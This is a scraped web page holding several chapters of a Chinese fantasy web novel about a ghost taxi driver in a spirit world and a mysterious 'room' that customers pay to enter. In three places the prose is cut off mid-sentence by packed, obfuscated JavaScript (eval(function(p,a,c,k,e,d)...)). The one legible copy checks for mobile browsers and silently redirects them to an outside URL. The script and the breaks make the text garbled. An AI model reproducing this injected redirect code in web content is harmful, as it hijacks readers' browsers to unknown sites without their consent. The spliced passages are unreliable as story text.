如果路蒙还在的话…… 都怪路蒙! “这个给你吧,或许用得着!”钱得乐对于手下的得力员工不止嘴上夸夸,除了涨薪无能为力……倒是大方地送上一个东西。 邹杰伦疑惑地接过:“这是个啥嘛?” 在他手里的,是一个密封的细长玻璃瓶,或者说玻璃棒,其中游走着黑色丝线一样的絮状物,像是脱离了人体还在活动的黑色长发。 “我新研究出来的!人造眼镜!可以一定程度增强外化能力!” “眼镜?”邹杰伦一头雾水,下意识把瓶子凑到眼前,富有纹理感的黑色弥漫在眼前,让人发晕。 眼镜这东西还有野生的? 他心里嘟囔,估计钱得乐胡言乱语多了,随手把东西揣进兜里,就准备往前厅走去。 “等等,”却被钱得乐制止:“别去那边。” “这又是为啥嘛?” “你外勤出傻啦!那么多人还等着你呢,上次油卡的事情都等你给一个交代。” “……” 邹杰伦觉得自己的头又开始痛了,油卡的事……啥事来着? 对了——应该说的是最近不少司机发现油卡里的钱无故减少,投诉了好几回还没来得及处理的那件事…… 事情太多,邹杰伦的大脑近乎过载,谁让钱得乐又是个甩手掌柜,只有他一个苦逼牛马…… 不管,都怪路蒙! 钱得乐笑嘻嘻的样子有些欠打,又有些可爱:“所以建议你还是从后门走吧——还有啥事吗?” “哦对了!” 邹杰伦被提醒了。 “老板娘,你见过我放院子里那桶黑狗血没?” * “你这哪里找的油漆啊?这么久还没完全干,喏,还掉渣呢!” 沈威嘴里叼着烟,伸出两只手指,在0373的车顶擦过,手指和车顶两败俱伤,各自留下两道灰痕。 苇思航闷闷不乐:“院子里随便找到的,凑合用吧……” 她低下头,脚尖踢着小石子,小石子划出一道优美的弧线,落入一旁的草堆。 “司机大排档”的招牌就在不远处,这里是门口的停车场,配套的加油站,苇思航在这里又见到了熟人,沈威。 半个月前两人初相识,半个月过去,苇思航还是那个苇思航,而沈威早已今非昔比。 沈威为人八面玲珑,很快熟悉了环境,在一帮司机中吃的很开。据说他钱赚的也不少,交完日租之后还有可观的盈余,不多久就累积了一笔小金库。 有红眼包这时就要说了,那可和人家比不了!脱了衣服就有得赚! ——说的就是沈威开膛破肚的外表带来的优势,简直是自带的恐怖剧本。 苇思航把车开到停车场附近时,正好就看到沈威,正在给身边一左一右两个年轻的女梦灵扯淡,正讲着他的乘客见闻。 “……我找了点纸壳堆在后座上,弄成坐不了人的样子,上车前,我都事先说好,不好意思,只有副驾了,可以坐吗?不同意的就走了,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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——这下苇思航就算想装看不见也不行了。 苇思航下了车,启动发电机,一端连接着加油机,一端连着0373,油卡上的数字在跳动,充电开始了。 沈威大跨步走来,十分亲热。想象得到他年轻时,一定风流倜傥。 “走吗?跟威叔抽两根去?” 然后,就有了不久前沈威吐槽苇思航车漆的那一幕。 苇思航早知沈威没有他表面上那样简单,可她又很想找个人说话。 苇思航尽量让自己显得轻松一点,主动搭话缓和沉闷的气氛:“沈叔今天这么早就收工了?” ——或许只是她觉得气氛奇怪,对方压根没感觉到。 沈威:“嗯啊,今天运气好,路上遇到一对情侣,要开‘房间’的。我给他们捎回来了,这不,业绩就达标了。” 苇思航一脸疑惑。 “什么‘房间’?” “啊……你不会不知道吧?” 苇思航迷茫的表情说明了一切。 “‘房间’啊,咱们大排档的副业,光介绍的中介费就有1000灵币呢!这不,明天的日租也给我赚出来了。”沈威说着,伸出十根手指,表情得意,倒也不藏私,“你下次看情况,如果乘客看着就像条大鱼,也可以帮忙介绍嘛!” 苇思航结结巴巴:“这算是,拉,拉皮条吗?” “嗨,你想到哪里去了!”沈威大笑,“不过就是你情我愿的事情嘛——而且也不是你想的那种‘房间’……只是一个名字而已,说是‘美梦成真屋’,可能更合适吧!在‘房间’里可以自由自在地做更逼真的美梦,只要你精神力够多,可以在里面享受到醒来为止,你出去问问,咱们司机里多少人都想攒钱进去体验一下……哦,原来是我……咳。” 苇思航好像有点明白了。灵光一闪。 “就好像一个反过来的……魇境?” 这下轮到沈威疑惑了。 “什么‘眼镜’?你说你的眼镜吗?你眼镜怎么了?” “……没事。” 接下来的时间里,沈威摆出长辈的架势,像是抽查功课一样,他问什么,苇思航就答什么。 “你今天跑了几单?” “两三单吧。” “怪不得这么早就回来了,交日租了吗?钱够吗?” “还没,正准备去。够了。” “别逞强,有困难,跟叔说啊。” 苇思航不答。 沈威手里夹着一支烟:“又有几天没看到你了,最近过的咋样?” 苇思航心里毛毛的,答话就有几分别扭:“还行吧。” 她往四周望了望,那两个被丢下的女司机还在原地,隔着老远怒视着她,仿佛她抢了她们什么东西似的。 苇思航就有点焦躁起来:“加油站就在旁边,这儿不让抽烟。” 沈威一脸淡定,弹弹指尖的烟灰:“怕啥。” 苇思航必须要问了:“……那啥,沈威……叔,你究竟想干嘛,不是想泡我吧?” 直白的话一出,苇思航梗住,沈威也愣了。 气氛有些尴尬。 55岁的沈威半晌开口:“笑鼠。” 42. 41. 女乘客 “……这词儿是这么用不?”沈威主动问,也不知道他是从哪里学来的。 一个很残酷的现实是,老年人赶流行,就显得更老了一点。 苇思航:吓鼠。 沈威说完,自己又好整以暇笑了好一会,捂住自己的肚子,好像防备着里面的器官不小心跑出来。 苇思航第一反应先是放下心,渐渐又有点尴尬起来了,忍不住为自己辩解一句:“其实我平常不是这么自恋的……” “我知道……抱歉啊,让你误会了……”沈威的声音断断续续,像是被呛着了,“警觉是对的!不过呢,我真对你没那种想法。我说你像我女儿嘛,不会拿我女儿开玩笑的!” 苇思航:“……我刚才听见,你说其他人也像你女儿,你的手都快摸到别人屁股上去了……” 沈威冲她眨眨眼,反正也不是什么正经的模样:“怎么了,吃醋了?” “……” 苇思航愈发觉得自己看不懂沈威,姜还是老的辣,她只有落荒而逃:“那个,时间还早,我再去接两单的……” “别啊,急啥?你这电量都没充满呢!是不够钱交日租的?别客气,叔帮你出呗……” 哭鼠,沈威前后还是一样殷勤。 苇思航冲他摆了摆手道别,逃难一样拔下充电插头,取下油卡,上面的数字在眼前闪过,似乎有哪里不对……不过她对数字一向不敏感,就先不管了。 0373的电量仍然保持在15%,也是没办法的事。她刚开出停车场没多远,就看到一个焦急的竖着中指的客人正在路边拦车。 “啊啊啊!师傅,快送我去医院,我手指出血了!” 原来是中指受伤了啊!太好了,不然苇思航还以为对方对她有什么意见。 她瞟了一眼,客人的表情看上去痛彻心扉,指尖渗出一滴血珠。 “师傅,快点开!我快受不了了!” “嗯嗯。”——她是得快点开,不然伤口愈合了。 苇思航看了平静的打表器一眼,再这样下去,估计开到医院,只够收个起步价的。 或许是受到不久前听到的沈威的故事的启发,苇思航有了主意。 “啊呀!我的手指突然也好痛!好痛啊!” 这回是苇思航惊叫起来,她的叫声十分高亢,一下把后座的客人都整蒙了。 方向盘左摇右摆,走着z字,像是失去了控制,偏偏又还在速度不慢地前进。 打卡器的数字蹦跳起来,苇思航都有点惊讶了。 这么好骗?送上来的财神爷啊这是! “师傅,你没事吧师傅?你可一定要稳住啊!”客人惊恐地啜泣起来,眼看着几根白色的条状物掉到操纵台上,他不敢看……难不成是司机手指?血,红色的血……到处都是…… 看不见前座司机的脸,只见她忽而又平静下来,像是疯了一般,突而嘿嘿一笑,把那些“手指”送入嘴中,嘴边缓缓流下鲜血…… “医院到了。” “——救命啊!!”胆小的客人打开车门,夺命而逃,苇思航看着他离去的背影,心里自我检讨——都要怪她,对方中指上的伤势还是痊愈了。 看着打表器上最终停下的某个数字,苇思航感到十分满意,搓了搓手上的盐粒,暗自感叹,这种恶作剧现在连小学生都骗不了,从某种意义上讲,刚刚那位客人也算是可遇而不可求的极品了。难道她要开始转运了?这样想着,她把剩下半包没吃完的沾了番茄酱的薯条收起来,准备一会找个地方丢掉。 没想到这玩意儿还能这么用……尽管它难吃呢。 苇思航嘴里全是木屑一样的碎渣,“呸呸”不休,从车座旁抓了瓶水才顺下去。 对了,在灵界,不吃东西也死不了,不过可以出于享受目的进食,尽管如此,对于一个没有嗅觉的梦灵来说,香味少了大半,能不能感觉到“好吃”另说。这包薯条,还是她在大排档随手买的,从那之后,她就对那里的厨师水平不抱希望了。退一万步来讲,就是天王老子来了,苇思航也要骂一句:难吃! 不过鉴于这包鸡肋的薯条刚刚帮她赚了不少钱……算了,骂小声点好了。 0373停在“第x人民医院”门口的车道上,慢慢朝前滑行,不远处,一个黑衣女人伸出手拦车。 苇思航本来不准备接的,她准备回大排档去了,再晚,停车位又不好找了。然而那人已经打开车门。 甚至还是副驾。 苇思航来不及阻止:“不好意思……” “好香啊。” 那女人探头进来,长长的黑发垂在脸颊两边,带来一小股凉意。 苇思航神色一僵。 尽管她此时什么也闻不到,猜测这个女人的身上是冷冷的消毒水味。就这么犹豫的几秒钟,她又错失了拒载的机会,那女人已经坐了进来,她黑衣黑发,身体几乎与副驾的皮革座椅融为一体,纤细的手拉着安全带扣好,苍白的皮肤在灯光下透出血管的颜色,她的坐姿十分端正,一张素白的脸仿佛在半空漂浮。 “师傅,你知道附近哪里有‘房间’吗?” ——论仅用一句话让司机师傅回心转意。 不过多时,0373重新出发,在道路上左转,拐角处亮着的医院大楼便看不见了。 苇思航双手扶着方向盘,余光时刻关注着身旁,心里很有几分忐忑。 明知旁边坐了个鬼,你是什么感觉? ——但她要找“房间”欸!要钱还是要命?反正一时半会死不了……不如还是要钱吧! 苇思航此时也顾不得省电的宗旨,狠踩油门,只想尽快回到司机大排档! 一路风驰电掣,那女人的表情却波澜不惊,离得很近,苇思航甚至感觉不到她在呼吸,又或是心跳,连她垂在脸侧的黑发都毫无动静,仿佛两片沉重的黑布。 0373在抵达大排档前的倒数第三个路口停下,等待游走至前方不远处的黑雾散去。 等待的过程中,苇思航紧张地关注着身边女人的一举一动,心里想着,假如她有任何异动,她就冲进黑雾,把她甩出去! 大不了她不要中介费了!那钱果然不是什么好挣的……现在也只损失个起步价,不亏! “好香啊。”那女人再次开口,声音轻飘飘的。 感觉不妙……苇思航攥紧方向盘。 那女人苍白的手朝主驾伸去,在即将碰到苇思航的时候,转了方向——落到中控台上的半包薯条上。 事态从这里开始急转直下。 “这个我可以吃吗?” “啊?” “可以吗?” “可以倒是可以……” 不等苇思航再说一个字,女人得到允准,这就拿起薯条包装袋,狼吞虎咽起来。 “……如果你一定要的话。”苇思航大为震惊,看着那女人双眼冒光地进食,竟然有点入迷。 怎么形容呢?这是一个相当漂亮的女人,当她吃东西的时候,却会让人忽略这个事实——倒并不是说她的吃相不好看,而是让人完全把注意力放在她和食物身上,有种很难形容的感染力……她一定很适合做吃播!苇思航想到。 愣愣地盯着女人看,直到她对薯条和自己的口味都产生了怀疑——有那么好吃吗? 别说那本就糟糕的口感,就算是刚出锅最香脆软糯的薯条,被她放了一天半,此时也该变成绵软掉渣食之无味的鸡肋了。 半盒薯条下肚,那女人舔着手指,一副意犹未尽的样子。 “还有吃的吗?” “有的……我给你拿。”苇思航回答,目光没放在女人身上,而是死死盯着数字暴涨的打表器,心里突然想到了不久前沈威的话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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巧了,她口中的沈威正好也在人堆里,这时主动告知道:“小苇啊,我也是才知道,原来的房客还在,没有多余的房间呢……那两人已经被打发走了。” 他话音刚落,一旁有人插嘴笑道:“就是说啊,沈叔大意了,什么都没搞清楚呢,结果今天的日租没着落,只能跟我们一起‘客房服务’抵债咯!” 沈威的脸上顿时一阵青一阵白。 “客房服务?” “对啊,客房服务。我们马上去‘房间’,怎么样?你想去吗?”邹杰伦回答,朝苇思航呲出一口大白牙。 苇思航蠢蠢欲动的心情被邹杰伦看穿,立马指着苇思航大笑起来:“哈哈,就不带你!” 苇思航:“……”这人怎么突然犯贱呢? 邹杰伦身旁一个人用胳膊肘捅了捅他,小声提醒:“可是是您说的,我们还差两个人呢。” 他声音不算大,不过也逃不过其他人的耳朵。 被当众拆台的邹杰伦不爽:“就算差又咋了?宁愿少人,也不要丑的……尤其是女的!” 苇思航这才真是火冒三丈。邹杰伦看着她,重又得意洋洋起来:“你不懂,我是为你好!” 苇思航正要说什么,扶着的副驾门被里面的人推开了。是那位女客人。 在此之前,她一直在吃。吃的是之前司机工会下发的福利——一箱牛奶,一箱饼干。苇思航尝过,味道不容恭维,只是弃之可惜,所以还放在车上。女客人倒是不挑,在短时间内消耗了相当恐怖的分量,空的牛奶盒、饼干包装袋堆在副驾脚下,看起来十分邋遢。 其他人只看到,这位仙女下凡一样的女客人,昂着天鹅一般的头颅,带着一股天上有地上无的优雅从容的气质,推开车门走出来。 疏离的,客观的美丽, 她依次说了三句话。 “我想去房间。” “不管如何。” 还有那句最重要的—— “我有钱。” 43. 42. 报酬 那女人名叫辛恬。 当她出现在人们面前,包括邹杰伦在内,不少人发出倒抽一口凉气的声音。 这让苇思航大惑不解,她的意思是,虽然她知道辛恬长得挺好看……不过这反应是不是也有点太夸张了? “有没有人跟你说过,你长得很像赖星星年轻的时候啊……”围观者中有人鼓起勇气,问道。 ——赖星星? 苇思航听见这个名字,觉得有些耳熟,从哪里听过来着…… 她很快从别人那里得知,原来他们马上要去的房间的住客——竟然就是赖星星本尊! “我想起来了!”苇思航猛地一拍手,把对面昏昏欲睡的沈威吓了一跳,他手撑着下巴,一时失手,差点头磕到桌子。 “怎么了怎么了?” “就是唱《宝贝别勾芡》的那个歌手吧!”苇思航为自己的记忆力沾沾自喜。 毕竟夜行广播台放了那么多遍……尤其是DJ版,每次开夜车的时候都好带劲啊! *宝贝的爱别勾芡 每每信了你的话的我也有够贱 甜言如同三花淡奶 我错信保质期有一万载* 苇思航忍不住哼起歌,魔音贯耳的旋律,朗朗上口的歌词,她自己都出乎意料地信手拈来,引得她坐在斜对面的人嗤笑一声:“切,就这?” 苇思航看了对方一眼,过了一会才想起来,刚才自我介绍过,这人叫卫健伟。 从室外停车场转战室内,她、沈威、卫健伟,还有一个叫宁霜的短发女人,四个人在大排档的餐厅里拼了一桌,隔壁还有一桌,一共八个人,在等。 等什么呢? 辛恬不久前被邹杰伦带进暗室里去了,老板娘钱得乐亲自接见,那是在辛恬宣告“我有钱”,并且当着众人拿出一张“黑卡”之后。邹杰伦两眼放光,前倨后恭,变脸之快令人咋舌。 剩余其他人都在大堂等着,其间,一度荒凉的排挡厨房焕发生机,里面不断传来厨师爆炒的声音,提醒上菜:“火爆腰花好了!”“大盘鸡拌面!”“水煮肉片!……”流水席一样的餐食被送往钱得乐正在接见贵客的房间,其他人心里疑惑不解,只有苇思航心中了然,估计都是辛恬点的菜。 四个人不尴不尬地坐了一桌,各自做了自我介绍。苇思航和沈威自不必说,卫健伟之前不知道名字,不过也曾打过照面,只有短发女人宁霜是个完全的生面孔。 宁霜顿了顿,开口道:“其实我不是这里的司机。” 三个人六只眼睛都看着她。 她用手指梳了梳头发,加上一句:“……目前还不是。” 据她所说,她本来是打算今天来注册司机的,谁知“司机服务”窗口没人,她在周围闲逛的时候,正好遇见了抓壮丁的邹杰伦。邹杰伦一方面缺人,一方面怕她声张,让大堂里那些虎视眈眈的投诉者知道自己在哪里,索性拉着她入了伙,至于注册手续,答应后面再补办。 宁霜交代完来龙去脉,一句话结束:“他跟我说有免费的演唱会可以看。”她顿一下,把话头抛回:“你们也是这样吗?” 成功转移了其他人的注意力,宁霜暗自里松了口气,决意不再开口,随手拿起桌上的冰镇可乐喝着,皱了皱眉,味道好怪…… 卫健伟二十多岁,皮肤白净,身材微胖,脖子和脸几乎连为一体,说话的同时冒着虚汗。他穿着卡通T恤和大裤衩,看起来像个温顺的宅男。 “一个演唱会就把你骗过来了?”他的语气颇有些愤世嫉俗,“你也不提前问问是谁的演唱会?结果是赖星星的!后悔了吧!” 宁霜咬着吸管不答,旁边沈威代替其他几个人问:“赖星星怎么了?她不是大明星吗?” “切,一看你就不知道!”卫健伟十分得意,“嘛,不过你这个年纪,也可以理解。” 好像是善解人意,听上去却……更欠揍了。 他在直抒胸臆之前,有意卖几个关子,目光扫过剩下看上去稍年轻的两位女士,好像在等她们有没有什么意见要发表。 宁霜忙摆手:“别看我,我死很久了。” 众人尚未来得及惊讶她竟是个幽灵之时……苇思航也如法炮制地摆手:“我也不太了解。” 这是实话。 她现实世界的见闻都忘得差不多了,她之前是干什么的来着?听说过赖星星吗?——记忆一片模糊。 卫健伟目露同情,那目光仿佛一个智者怜悯地看着三个绝望的文盲。 他咂咂嘴,终于开口:“赖星星火过吗?火过的。不过那都是十年前的事啦!现在的她早糊了!” “她刚出道的时候,又唱歌又演戏,被称作‘天才少女’……那个时候,是很风光没错啦,可谁让她自己把好牌打稀烂,又是整容,又是传绯闻,没什么事业心,三天两头宣布隐退,一缺钱又出来蹦跶……再好的口碑也禁不住她那么作啊!”卫健伟道,忽然看向苇思航。 “你觉得《宝贝别勾芡》好听吗?” “呃……” 卫健伟痛心疾首:“那是你没听过她之前的歌!她从前真的很有才华!谁知道会出这种low到地心的网络神曲?还成了她现在的标签啊!她怎么对的起一路追随她的粉丝??” “喂,说实话,你是她粉丝吧。”沈威道。 除了卫健伟之外,其他三人都相当淡定。 卫健伟又急又气,像是被踩了尾巴的猫:“绝无可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890374|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能!你胡说,你撤回!” “我撤回。”沈威转向剩下两人,表情平淡,指着自己和卫健伟,道:“嗯,是邹杰伦说去客房服务可以抵日租,所以我们才来的。” 说着,他兴意阑珊,打了个呵欠。不过忍着有一会没抽烟,便有些精力不济。 卫健伟高涨的情绪被截胡,表情显得十分便秘。 苇思航看看这个,又看看那个,剩下三人的目的都已经交代完毕,至于她……怎么说呢……她都不知道自己应不应该在这里,毕竟刚刚邹杰伦都明说了不带她来着…… 她倒没有强烈的一定要去“房间”的渴望,只是想说自己钓来了辛恬这条大鱼,怎么也得赚点介绍费不是?所以她还在等。 好在不一会,辛恬和邹杰伦出来了。 邹杰伦外罩一件灰色的风衣,戴了一顶鸭舌帽,遮住一头黄毛,竭力不引起任何人的注意。他身旁的辛恬一副心满意足的模样,看上去对于享用的美餐十分满意,手里举着一根冰糖葫芦作为餐后甜点。 “走了。”邹杰伦低声招呼“客房服务”小队,两桌共八个人稀稀拉拉地站了起来,听话往门口走去。 苇思航犹豫了片刻,迎着邹杰伦走上去:“邹——” “嘘!嘘!别叫我名字!”邹杰伦低声,差点跳脚,压低鸭舌帽,警惕地看着周围。 他穿着风衣弯着腰的样子十分狼狈,仿佛一个变态,想要不引起他人的注意,却适得其反,不少人往这边望过来。 好在这个时候,“司机服务”窗口打开了。 竟是老板娘钱得乐亲自出马! “别急,一个个的!排好队!” 在钱得乐清甜的声音下,邹杰伦佝偻的背直起来一点,一脸不爽地看着苇思航:“有什么事出去再说!” 他要走,苇思航没动,一旁的辛恬好奇地看着他二人,也没有动。 她离苇思航更近,大吃一顿后,人像是也有了活气,一双黑白分明的眼睛像是机灵的雏鸟。 卫健伟等人往门外走的时候,忍不住偷看了她好几眼。 苇思航反问邹杰伦:“我要跟你们一起出去吗?” 言下之意是在问,他同意她去“房间”吗? 邹杰伦:“……你想去吗?” 苇思航笑道:“刚才有点。现在一般。” 邹杰伦头一摆,打定主意不让她如意:“那你就跟我去!” 苇思航笑眯眯的,拉着辛恬站到自己背后:“让我去也可以。不过我刚才听大家说,去一趟多少也有些报酬不是?我呢,对看演唱会没啥兴趣,也不愁日租那点钱,不如这样吧,你把我要还的路蒙的钱减免一半,可以吧?” “……” 44. 43. 到房间去 大排档门口,群龙无首的七个人或站或坐。 刚才四人组中的三个——宁霜坐在一旁的花坛上,百无聊赖地抬头,似乎想要从漆黑的夜空上戳出几个洞,让星光透进来;沈威点了一支烟,没有抽,夹在指尖,任它静静燃烧,目光时而飘向屋内;卫健伟不加掩饰的一脸好奇,抻长了脖子朝屋里张望,靠近门口此时站着三人——邹杰伦、苇思航,辛恬。 卫健伟嘟囔:“叽里咕噜说什么呢……” 苇思航狮子大张口完,正在和邹杰伦讨价还价。辛恬围观。 苇思航:“怎么样,很划算吧~” 邹杰伦:“安?” 他本来应该一口回绝的……目光却诚实地扫向窗口之后,已经被其他人身影挡住的钱得乐。回忆起不久前,老板娘两眼冒光,双手像逮住猎物的鹰隼一样从后面掐着他的肩膀,用气声嘱咐:“一定要留住……大金主……” ——此时的“大金主”辛恬被苇思航护在身后,眨巴着眼睛不知道在想什么。 也不知道辛恬坐了苇思航的车,被下了什么迷药,刚才钱得乐轻声细语,问对方除了吃饭还有什么需求,辛恬一字一句:“我想和苇姐一起去房间看看——我可以付钱。” 就像一场有偿的观光旅行,只是跟客房服务一起。 还刻意加上了“跟苇姐一起”的要求……这就叫上“苇姐”啦?想到这里,邹杰伦便有几分犹豫,当场却一声冷哼,对苇思航道:“做梦吧你!” 苇思航也不以为忤,耸耸肩:“我知道,估计有点为难你,估计你没那个权力吧?” “……”又是那种看似善解人意,又很欠揍的感觉…… 邹杰伦脸色很不好看,道:“我最多可以帮你申请减免一周的日租!就当是你带辛小姐来的介绍费,已经很慷慨了!” 苇思航却摇了摇头。 邹杰伦又朝窗口后的钱得乐方向看了一眼,气道:“你别不识好歹!” 苇思航笑了一下:“我没不识好歹呀。”她像是想了一下,不一会发话,“这样吧,咱们各退一步,也不用工会给我减免租金了……” 邹杰伦的心吊了起来。 不过这算哪门子“各退一步”? “……只要你把上次我车的复制钥匙还给我,如何?反正那个东西你们留着也没啥用,你说呢?” 邹杰伦大吸一口气:“成交!” ……一把钥匙而已,工会根本没吃亏啊! 苇思航傻了吧? 苇思航嘴角勾起神秘的微笑,惹得邹杰伦心里直打鼓。 “那就这样说好了哈!我跟你们一起去‘房间’走一趟,等回来就把车钥匙还给我,辛小姐在这里做个证明。” “……” 邹杰伦不明白,为什么明明吃亏的是苇思航,他却有一种憋屈的感觉,这算什么道理啊…… 那边苇思航目的达到,懒得理他,拉着辛恬,两人一前一后朝门外走去,和屋外的沈威他们打招呼汇合。邹杰伦后知后觉,拉低帽檐,追上几步。 客房服务正式出发。邹杰伦给所有人分成两组,毫不意外的,辛恬要求跟着苇思航,邹杰伦见状,只好踹掉了原本四人组里的卫健伟,他,辛恬、苇思航、宁霜、沈威,组成新的五人组。 神秘的“房间”需要开车抵达,两组人,两辆车。苇思航不愿意和0373分开,坚持要开自己的车,邹杰伦同意了。 两组人很快出发。 0373车内,头一次塞下这么多人,由苇思航开车,辛恬坐在副驾驶。 拥挤的后座上依次是宁霜、邹杰伦、沈威。宁霜不厌其烦地检查每一个人:“安全带系好了没?”直到得到肯定的答复。 或许是她的语气太过严厉,另一侧的沈威不仅系上了安全带,自觉把手里的烟也灭掉了。 邹杰伦被夹在中间,怎一个憋屈了得,他争夺驾驶权未果,被流放至此,只因辛恬一句话:“我想要苇姐开。” 邹杰伦:“……好的。”身为打工人的觉悟让他对金主说不出“不”。 他一声不吭来到后座,剩下两个人各占一头,看起来都不太好惹的样子,他只好忍气吞声,在两人中间找到自己的位置。临出发前,邹杰伦身体前倾,后背离开椅背,目光炯炯地监视着前排,感觉司机苇思航的后脑勺正在朝他发出嘲笑。 “安全带。” 身边的宁霜又提醒邹杰伦。 邹杰伦不爽,看她样子也不熟悉,发起火来:“管那么宽,你交警啊你!” 宁霜只是一脸冷漠地看着他。 邹杰伦不服地哼了一声,身体却诚实地扣好安全带,转头对沈威吐槽:“……我看她说不定就是出车祸死的呢!” 沈威靠着车窗闭着眼睛,感觉快睡着了,压根没理会。 “……” 0373一溜烟朝前窜去,还是那股熟悉的不管乘客死活的味儿。邹杰伦这时又庆幸自己系了安全带了。 没有最憋屈,只有更憋屈,邹杰伦与安全带做着对抗,身子往前探,不情不愿地给司机苇思航指路。 “左转……嗯,下个路口再左转……” 数不清多少个左转之后。 苇思航:“……就是遇到路口一直左转呗?” 邹杰伦大受震撼,努力回想路线,后知后觉:“……对哦。” 车里没人说话,邹杰伦意兴阑珊,自己也闭了麦,五个人沉默着,又这样开了20分钟。 * 不知道左转了多少路口,前方一条笔直的单行道,来到了此行的终点。 “就是那里。”邹杰伦指着前方道。 车窗外的风景一闪而过,这附近十分荒凉,城市里的风景已经完全看不到了,周围是一望无际的田野,夜空好像垂的很低,下方耸立着一排破破烂烂的平房。 就是这里? 这里就是“房间”? 包括苇思航在内,所有人的心中都不约而同地冒出类似的疑惑,不过仍然没有人开口。 苇思航最后一次打了左转灯,驶入平房外用破破烂烂的砖头勉强垒起来的前院,从后视镜里,她看到另一辆如影随形的黑车。如果此时有人从上空俯瞰这个画面,就会看到他们身后在乡间土路上留下的车辙印,还有土路本身,如同涟漪一般慢慢地淡出,然后消失了。 两辆车并排在院子里停下。第二辆车的主驾门火速弹开,司机卫健伟活像屁股着了火,逃也似的从里面钻出来。 “行了行了……”他显得很窘,一边冲车内的其他人道,像是在求饶。 不想正好和旁边0373副驾上推门下车的辛恬撞了个正着。 “不,不好意思……”卫健伟反应过来,赶紧道歉,结结巴巴的,脸更红了。 辛恬摆摆手,压根没在意,蹦蹦跳跳找苇思航去了。 留下满脸通红的卫健伟,他车里四个乘客嘻嘻哈哈地下车来,意有所指地爆发出一阵类似初中男生间的起哄声。 卫健伟两只手合十比在额头上前后摇动:“兄弟们,行行好,放过我这一次,人家都在呢,怪尴尬的……” “现在就害羞了,一会见了正主可怎么办哟!” 卫健伟不语,只是一味摇手,差点摇出残影,要知道他刚刚已经被嘲笑了一路……好在邹杰伦出面打断,开始轻点人数,这才暂时消停。 跟苇思航这一组不同,卫健伟所在的五人组一眼望去,全是半大的小伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没有人回答他,场面有些怪冷清的。是的,除了他和祖丽,其他人都是第一次,对即将要发生的一切都感到一头雾水。 一旁的祖丽省去废话环节,曲起手指,放在嘴边,吹出一声哨响,令人精神一震。 “女生们,来我这里集合!” * 在场一共四位女性。苇思航、辛恬、宁霜、祖丽。 苇思航其实很想问一句:“……确定吗?” 经历过之前黑池魇境中的性别倒错,她成了某种意义上的怀疑论者……但想着多一事不如少一事,她最终什么也没说。 她着实不知道有什么分男女的必要,临行前邹杰伦那句“不要女的”也很刺耳……不过她很快就会明白背后的原因了。 与那群男人们拉开一定距离,祖丽站在其他三个人面前,双手背在身后,身上散发着可靠而又威严的气场,看起来像个军训教官。 “如果你们以为‘客房服务’很简单,那就错了。认真听我说,否则接下来的12个小时,就等着哭吧!”祖丽的目光依次扫过剩下三人脸上,尤其在辛恬的脸上意味深长地停留,“为什么是12小时……‘房间’一旦开启,直到房客醒来才会结束。而我们的房客,赖星星——想必你们都已经知道了——有入睡障碍,需要服用药品助眠,根据经验,药效的时间大概是12个小时左右。” 祖丽沉声道:“你们之中,如果有谁临时改变了主意,不想进入房间里,可以提前告诉我——不用顾虑小邹,我猜他一开始也没有跟你们说清楚……” 苇思航一边听着,目光在一旁的辛恬和宁霜身上扫过。辛恬仿若未觉,从始至终的一脸状况外,也不知听进去了没有;宁霜背脊笔直,双手贴着裤缝,像是正在接受训练,一脸认真的听讲。 “……你们谁有问题?” 苇思航左看右看,举起了手。 祖丽停住话头,其余两人也跟着她的目光望来。祖丽有些惊讶,又像是了然,指了指苇思航:“你说。” 如果以为苇思航反悔了,那可真是大错特错!她的右手举在半空,声音清晰有力,像一个充满了求知欲的学生:“丽姐,能不能先给我们讲讲,‘房间’究竟是什么?” 45. 44. 观我(一) “丽姐,能不能先给我们讲讲,‘房间’究竟是什么?” 祖丽听见这个简单而又刁钻的问题,不由得一愣。 其实吧……她说不上来。 “我也不知道——没人知道。” 事实上,没人能准确说明“房间”究竟是什么。 没人知道它们是如何出现的,它们好像一开始就在那里了……就像灵界中随机游走的“黑雾”一样,只能按照一种自然现象尝试去理解它,只知道它们在那里,就像山在那里,过去在那里,未来也会在那里,一直在那里。 虽然无法给出准确的定义,但祖丽并不打算敷衍了事。想了想,她道。 “‘房间’……可以理解为独立于灵界稳定存在的异位空间,四散在灵界各处,只要消耗足够的精神力,就能按照主人的意愿进行改造。” 苇思航心里一直有个问题,已经憋了好久了:“是不是就跟‘魇境’差不多?” 只不过不是噩梦,梦主也只有房主一个人,背后主导的不是集体意识而是个人喜恶……苇思航自问自答,主动辨析起这二者的不同。 想起了不久前的魇境冒险,她很难解释自己此刻的心跳加速手心发热是为了什么…… 她曾经也问过沈威这个问题,没有得到满意的回答,见多识广的祖丽听了,倒是一讶:“魇境?你还知道魇境?” “嗯啊。” “难道你遇见过?” 这下不止是祖丽,剩下两个人也目露惊讶。 魇境有什么稀奇的,她还活着从灵坟出来了呢……苇思航心里这样想着,不过当然不能那么说,回答:“有那么一次。”她做出一副后怕的样子,“简直就是一场彻头彻尾的噩梦!” 祖丽怕提起她的伤心事,没问下去,语气里有种刮目相看:“既然你去过魇境,‘房间’里的一切你理解起来估计就不难……啊对,你说的不错,房间和魇境有点相似之处,不过不同嘛……” 